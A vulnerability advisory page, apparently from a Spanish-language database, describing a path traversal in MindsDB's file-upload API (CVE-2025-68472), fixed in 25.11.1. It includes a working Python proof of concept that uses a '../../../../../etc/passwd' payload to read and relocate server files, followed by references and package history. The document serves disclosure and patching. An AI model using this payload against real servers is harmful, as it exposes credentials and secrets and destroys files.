MindsDB has improper sanitation of filepath that leads to information disclosure and DOS
Summary
BlueRock discovered an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data.
Details
The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and source_type is not "url":
data = request.json(line ~104) accepts attacker input without validation.file_path = os.path.join(temp_dir_path, data["file"])(line ~178) creates the path inside a temporary directory, but ifdata["file"]is absolute (e.g.,/home/secret.csv),os.path.joinignorestemp_dir_pathand targets the attacker-specified location.- The resulting path is handed to
ca.file_controller.save_file(...), which wrapsFileReader(path=source_path)(mindsdb/interfaces/file/file_controller.py:66), causing the application to read the contents of that arbitrary file. The subsequentshutil.move(file_path, ...)call also relocates the victim file into MindsDB’s managed storage.
Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clear_filename or equivalent checks.
PoC
- Run MindsDB in Docker:
bash
docker pull mindsdb/mindsdb:latest docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest - Execute the exploit from the host (save as poc.py and run with
python poc.py):python# poc.py import requests, json base = "http://127.0.0.1:47334" payload = {"file": "../../../../../etc/passwd"} # no source_type -> hits vulnerable branch r = requests.put(f"{base}/api/files/leak_rel", json=payload, timeout=10) print("PUT status:", r.status_code, r.text) q = requests.post( f"{base}/api/sql/query", json={"query": "SELECT * FROM files.leak_rel"}, timeout=10, ) print("SQL response:", json.dumps(q.json(), indent=2)) - The SQL response returns the contents of
/etc/passwd. The original file disappears from its source location because the handler moves it into MindsDB’s storage directory. - Detailed report is available on BlueRock's blog: https://www.bluerock.io/post/cve-2025-68472-mindsdb-file-upload-path-traversal
Impact
- Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | mindsdb | < 25.11.1 | 25.11.1 |
Referencias
- https://www.bluerock.io/post/cve-2025-68472-mindsdb-file-upload-path-traversal
- https://github.com/mindsdb/mindsdb/security/advisories/GHSA-qqhf-pm3j-96g7
- https://nvd.nist.gov/vuln/detail/CVE-2025-68472
- https://github.com/mindsdb/mindsdb
- https://github.com/mindsdb/mindsdb/releases/tag/v25.11.1
- https://github.com/pypa/advisory-database/tree/main/vulns/mindsdb/PYSEC-2026-90.yaml
- Vector CVSS
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H- Debilidad (CWE)
CWE-22, CWE-23, CWE-36- Plataforma
- Python (PyPI)
- Paquete
mindsdb- Publicada
- 12.01.2026
- Actualizado
- 11.10.2026 12:19
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2026-90 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-qqhf-pm3j-96g7 - CC BY 4.0
Historial de vulnerabilidades: mindsdb
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 22
- Primera → última
- 03.2023 05.2026
- Sin corrección
- 7
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 16
- Media 5
Divulgaciones por año
- 2023: 5
- 2024: 13
- 2025: 0
- 2026: 4
-
MindsDB has improper sanitation of filepath that leads to information disclosure and DOS esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.